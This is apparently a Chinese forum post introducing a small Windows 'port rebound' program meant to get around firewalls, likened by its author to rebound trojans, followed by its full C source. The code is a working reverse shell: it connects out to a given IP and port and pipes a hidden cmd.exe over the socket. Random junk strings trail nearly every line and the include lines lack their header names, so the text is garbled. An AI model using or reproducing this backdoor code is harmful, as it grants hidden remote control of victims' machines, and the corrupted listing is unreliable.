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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kX {c+qHM  
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/* ============================== SSi}1  
Rebound port in Windows NT oZ%t!Fl1  
By wind,2006/7 l\5qa_{z  
===============================*/ m%q#x8Fp  
#include a2iaP  
#include Ssaf RK$  
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#pragma comment(lib,"wsock32.lib") [HIg\N$I8C  
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void OutputShell(); ~@R=]l"  
SOCKET sClient; wmY6&^?uS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GVY_u@6   
&nj@t>5Bs$  
void main(int argc,char **argv) av wU)6L  
{ sJ?Fque  
WSADATA stWsaData; Czb@:l%sc  
int nRet; \rADwZm  
SOCKADDR_IN stSaiClient,stSaiServer; Z/hSH 0(~  
? {cF'RB.  
if(argc != 3) )0PUK9  
{ Ik=KEOz  
printf("Useage:\n\rRebound DestIP DestPort\n"); o?^j1\^  
return; ^']xkS  
} y"!+Fus9  
ksm=<I"C  
WSAStartup(MAKEWORD(2,2),&stWsaData); 0?SdAF[:z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CbS9fc&  
sP5PYNspA  
stSaiClient.sin_family = AF_INET; <JYV G9s}  
stSaiClient.sin_port = htons(0); ]t7<$L   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Hc^b}A y7  
^"l>;.w  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wvJm)Mj+  
{ 49_b)K.tB  
printf("Bind Socket Failed!\n"); 6!Ji-'\"  
return; gGe `w  
} Gnj|y?'  
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stSaiServer.sin_family = AF_INET; }I,]"0b  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); E;D9S  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); cl1h;w9s  
`IkWS7|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [P)HVFy|l  
{ Po(9BRd7  
printf("Connect Error!"); z930Wi{@  
return; CdatN$/*  
} {Z1j>h$  
OutputShell(); #{UM4~|:  
} 5R/k -h^`  
jUI'F4.5x-  
void OutputShell() =+'4u  
{ vitmG'|WG  
char szBuff[1024]; P8).Qn  
SECURITY_ATTRIBUTES stSecurityAttributes; m+"?;;s  
OSVERSIONINFO stOsversionInfo; _rY,=h{+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w2YfFtgD,  
STARTUPINFO stStartupInfo; %W+*)u72(  
char *szShell; R4]t D|  
PROCESS_INFORMATION stProcessInformation; ujmO'blO  
unsigned long lBytesRead; sZFjkfak  
o[O-|XL_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m/Q@-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }tua0{N:z  
stSecurityAttributes.lpSecurityDescriptor = 0; :hwZz2Dhi  
stSecurityAttributes.bInheritHandle = TRUE; ]xCJ3.9  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _K_!(]t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ C,<Q  
=^|^" b  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |Eu_K`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B= jJ+R  
stStartupInfo.wShowWindow = SW_HIDE; -shS?kV  
stStartupInfo.hStdInput = hReadPipe; 0 gL]^_+7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e>#*$4tg  
| Z0?  
GetVersionEx(&stOsversionInfo); |ITp$  _S  
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switch(stOsversionInfo.dwPlatformId) ~>VEg3#F  
{ ug.mY=n '  
case 1: +\fr3@Yc  
szShell = "command.com"; >8"oO[U5>  
break; /!=uM .  
default: 0~iC#lHO  
szShell = "cmd.exe"; d(3F:dbk  
break; me_DONW  
} pEuZsQ  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1XSA3;ZEc  
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send(sClient,szMsg,77,0); z\Rs?v"  
while(1) 5|my}.TR  
{ w},' 1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y>Zvose  
if(lBytesRead) `KqMcAW  
{ MUhC6s\F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nm'sub  
send(sClient,szBuff,lBytesRead,0); <H<5E'm  
} jV]'/X<  
else *Z>Yv37P  
{ bY|%ois4  
lBytesRead=recv(sClient,szBuff,1024,0); IfzHe8>  
if(lBytesRead<=0) break; *%l&'+   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vA2@Db}  
} gh=s#DQsFw  
} =2] .G Gg  
)IPnSh/ <  
return; bj\v0NKN4  
}
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